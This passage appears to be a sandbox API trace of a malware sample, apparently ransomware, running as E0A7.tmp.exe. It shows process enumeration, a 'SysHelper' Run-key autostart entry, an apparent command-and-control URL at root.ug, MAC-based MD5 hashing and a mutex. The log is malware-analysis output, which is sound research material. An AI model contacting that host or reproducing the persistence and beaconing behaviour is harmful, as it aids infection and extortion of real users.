(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned="E0A7.tmp.exe" [0227.492] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x756f0000 [0227.493] GetProcAddress (hModule=0x756f0000, lpProcName="EnumProcesses") returned 0x0 [0227.493] GetProcAddress (hModule=0x756f0000, lpProcName="EnumProcessModules") returned 0x0 [0227.493] GetProcAddress (hModule=0x756f0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0227.493] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x74e40000 [0227.495] GetProcAddress (hModule=0x74e40000, lpProcName="EnumProcesses") returned 0x74e41544 [0227.495] GetProcAddress (hModule=0x74e40000, lpProcName="EnumProcessModules") returned 0x74e41408 [0227.496] GetProcAddress (hModule=0x74e40000, lpProcName="GetModuleBaseNameW") returned 0x74e4152c [0227.496] EnumProcesses (in: lpidProcess=0x184188, cb=0xa000, lpcbNeeded=0x18e998 | out: lpidProcess=0x184188, lpcbNeeded=0x18e998) returned 1 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0227.498] CloseHandle (hObject=0x0) returned 0 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0227.498] CloseHandle (hObject=0x0) returned 0 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0227.498] CloseHandle (hObject=0x0) returned 0 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x144) returned 0x0 [0227.498] CloseHandle (hObject=0x0) returned 0 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x174) returned 0x0 [0227.498] CloseHandle (hObject=0x0) returned 0 [0227.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x198) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x23c) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x27c) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b4) returned 0x0 [0227.499] CloseHandle (hObject=0x0) returned 0 [0227.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x378) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3c8) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0227.500] CloseHandle (hObject=0x0) returned 0 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x55c [0227.500] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0227.500] CloseHandle (hObject=0x55c) returned 1 [0227.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d0) returned 0x55c [0227.500] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0227.501] CloseHandle (hObject=0x55c) returned 1 [0227.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x55c [0227.501] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0227.501] CloseHandle (hObject=0x55c) returned 1 [0227.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x55c [0227.501] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0227.501] CloseHandle (hObject=0x55c) returned 1 [0227.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7ec) returned 0x55c [0227.501] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0227.503] GetModuleBaseNameW (in: hProcess=0x55c, hModule=0x400000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="E0A7.tmp.exe") returned 0xc [0227.503] CloseHandle (hObject=0x55c) returned 1 [0227.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x55c [0227.503] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0227.504] GetModuleBaseNameW (in: hProcess=0x55c, hModule=0x400000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0227.505] CloseHandle (hObject=0x55c) returned 1 [0227.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x610) returned 0x55c [0227.505] EnumProcessModules (in: hProcess=0x55c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0227.507] GetModuleBaseNameW (in: hProcess=0x55c, hModule=0xdd0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="AdobeARM.exe") returned 0xc [0227.507] CloseHandle (hObject=0x55c) returned 1 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x6ed1e8 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x703fe8 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x308e500 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x704840 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x704aa8 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x704d10 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3084a10 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3084c78 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3084ee0 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3079e40 [0227.507] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307a0a8 [0227.507] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e988 | out: phkResult=0x18e988*=0x55c) returned 0x0 [0227.507] RegQueryValueExW (in: hKey=0x55c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e984, lpData=0x18d0b0, lpcbData=0x18e968*=0x400 | out: lpType=0x18e984*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart", lpcbData=0x18e968*=0xd8) returned 0x0 [0227.508] RegCloseKey (hKey=0x55c) returned 0x0 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x3058930 [0227.508] lstrlenA (lpString="\" --AutoStart") returned 13 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307f850 [0227.508] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3058930 | out: hHeap=0x640000) returned 1 [0227.508] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned 1 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307f918 [0227.508] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307f850 | out: hHeap=0x640000) returned 1 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3097120 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307a310 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307a578 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307a7e0 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307aa48 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307acb0 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x307af18 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30919a0 [0227.508] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3091c08 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3091e70 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30920d8 [0227.509] lstrlenA (lpString="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned 74 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x96) returned 0x30a24c0 [0227.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307a310, cbMultiByte=-1, lpWideCharStr=0x30a24c0, cchWideChar=75 | out: lpWideCharStr="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned 75 [0227.509] lstrcatW (in: lpString1="", lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.509] lstrlenA (lpString="") returned 0 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058ae0 [0227.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307a578, cbMultiByte=-1, lpWideCharStr=0x3058ae0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.509] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.509] lstrlenA (lpString="") returned 0 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058ad0 [0227.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307a7e0, cbMultiByte=-1, lpWideCharStr=0x3058ad0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.509] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.509] lstrlenA (lpString="") returned 0 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058af0 [0227.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307aa48, cbMultiByte=-1, lpWideCharStr=0x3058af0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.509] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.509] lstrlenA (lpString="") returned 0 [0227.509] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b00 [0227.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307acb0, cbMultiByte=-1, lpWideCharStr=0x3058b00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenA (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b90 [0227.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307af18, cbMultiByte=-1, lpWideCharStr=0x3058b90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenA (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b70 [0227.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30919a0, cbMultiByte=-1, lpWideCharStr=0x3058b70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenA (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b30 [0227.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3091c08, cbMultiByte=-1, lpWideCharStr=0x3058b30, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenA (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b20 [0227.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3091e70, cbMultiByte=-1, lpWideCharStr=0x3058b20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenA (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2) returned 0x3058b40 [0227.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30920d8, cbMultiByte=-1, lpWideCharStr=0x3058b40, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0227.510] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0227.510] lstrlenW (lpString="") returned 0 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12) returned 0x6eac50 [0227.510] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x288) returned 0x307b180 [0227.510] GetAdaptersInfo (in: AdapterInfo=0x307b180, SizePointer=0x18e94c | out: AdapterInfo=0x307b180, SizePointer=0x18e94c) returned 0x0 [0227.901] GetAdaptersInfo (in: AdapterInfo=0x307b180, SizePointer=0x18e94c | out: AdapterInfo=0x307b180, SizePointer=0x18e94c) returned 0x0 [0227.904] GetLastError () returned 0x0 [0227.904] SetLastError (dwErrCode=0x0) [0227.904] GetLastError () returned 0x0 [0227.904] SetLastError (dwErrCode=0x0) [0227.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1000) returned 0x307b410 [0227.904] GetLastError () returned 0x0 [0227.904] SetLastError (dwErrCode=0x0) [0227.904] GetLastError () returned 0x0 [0227.904] SetLastError (dwErrCode=0x0) [0227.904] GetLastError () returned 0x0 [0227.904] SetLastError (dwErrCode=0x0) [0227.904] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18cd68 | out: lpMode=0x18cd68) returned 0 [0227.981] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18d444, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x18cd70, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cd70, lpOverlapped=0x0) returned 0 [0227.982] GetLastError () returned 0x6 [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18cd64 | out: lpMode=0x18cd64) returned 0 [0227.982] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18d440, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18cd6c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cd6c, lpOverlapped=0x0) returned 0 [0227.982] GetLastError () returned 0x6 [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] GetLastError () returned 0x6 [0227.982] SetLastError (dwErrCode=0x6) [0227.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307b180 | out: hHeap=0x640000) returned 1 [0227.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x6f09b8 [0227.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309e420 [0227.983] CryptAcquireContextW (in: phProv=0x18e91c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e91c*=0x2fa4ec8) returned 1 [0227.984] CryptCreateHash (in: hProv=0x2fa4ec8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e924 | out: phHash=0x18e924) returned 1 [0227.984] CryptHashData (hHash=0x7017a8, pbData=0x309e420, dwDataLen=0x11, dwFlags=0x0) returned 1 [0227.984] CryptGetHashParam (in: hHash=0x7017a8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e920, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e920) returned 1 [0227.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x6eac70 [0227.984] CryptGetHashParam (in: hHash=0x7017a8, dwParam=0x2, pbData=0x6eac70, pdwDataLen=0x18e920, dwFlags=0x0 | out: pbData=0x6eac70, pdwDataLen=0x18e920) returned 1 [0227.984] GetLastError () returned 0x0 [0227.984] SetLastError (dwErrCode=0x0) [0227.984] GetLastError () returned 0x0 [0227.984] SetLastError (dwErrCode=0x0) [0227.984] GetLastError () returned 0x0 [0227.984] CryptDestroyHash (hHash=0x7017a8) returned 1 [0227.984] CryptReleaseContext (hProv=0x2fa4ec8, dwFlags=0x0) returned 1 [0227.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309e420 | out: hHeap=0x640000) returned 1 [0227.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab418 [0227.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x710bf0 | out: hHeap=0x640000) returned 1 [0227.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f09b8 | out: hHeap=0x640000) returned 1 [0227.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x6c8) returned 0x568 [0229.179] WaitForSingleObject (hHandle=0x568, dwMilliseconds=0xffffffff) returned 0x0 [0264.237] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x57c [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3096fa0 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3095360 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30955c8 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309a1a0 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309a408 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309a670 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309a8d8 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309ab40 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309ada8 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309b010 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309b278 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff15e8 [0264.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0264.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2", lpUsedDefaultChar=0x0) returned 41 [0264.238] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0264.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0264.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff15e8 | out: hHeap=0x640000) returned 1 [0264.238] CryptAcquireContextW (in: phProv=0x18e98c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e98c*=0x2fa4f50) returned 1 [0264.239] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e990 | out: phHash=0x18e990) returned 1 [0264.239] lstrlenA (lpString="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2") returned 40 [0264.239] CryptHashData (hHash=0x30914a0, pbData=0x71eaa8, dwDataLen=0x28, dwFlags=0x0) returned 1 [0264.239] CryptGetHashParam (in: hHash=0x30914a0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e994, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e994) returned 1 [0264.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x6eb050 [0264.239] CryptGetHashParam (in: hHash=0x30914a0, dwParam=0x2, pbData=0x6eb050, pdwDataLen=0x18e994, dwFlags=0x0 | out: pbData=0x6eb050, pdwDataLen=0x18e994) returned 1 [0264.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x34) returned 0x3091420 [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="", lpString2="80" | out: lpString1="80") returned="80" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80", lpString2="BD" | out: lpString1="80BD") returned="80BD" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD", lpString2="5A" | out: lpString1="80BD5A") returned="80BD5A" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD5A", lpString2="01" | out: lpString1="80BD5A01") returned="80BD5A01" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD5A01", lpString2="D9" | out: lpString1="80BD5A01D9") returned="80BD5A01D9" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD5A01D9", lpString2="E6" | out: lpString1="80BD5A01D9E6") returned="80BD5A01D9E6" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD5A01D9E6", lpString2="AC" | out: lpString1="80BD5A01D9E6AC") returned="80BD5A01D9E6AC" [0264.239] GetLastError () returned 0x0 [0264.239] lstrcatA (in: lpString1="80BD5A01D9E6AC", lpString2="05" | out: lpString1="80BD5A01D9E6AC05") returned="80BD5A01D9E6AC05" [0264.239] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC05", lpString2="34" | out: lpString1="80BD5A01D9E6AC0534") returned="80BD5A01D9E6AC0534" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534", lpString2="B4" | out: lpString1="80BD5A01D9E6AC0534B4") returned="80BD5A01D9E6AC0534B4" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534B4", lpString2="F4" | out: lpString1="80BD5A01D9E6AC0534B4F4") returned="80BD5A01D9E6AC0534B4F4" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534B4F4", lpString2="6A" | out: lpString1="80BD5A01D9E6AC0534B4F46A") returned="80BD5A01D9E6AC0534B4F46A" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA 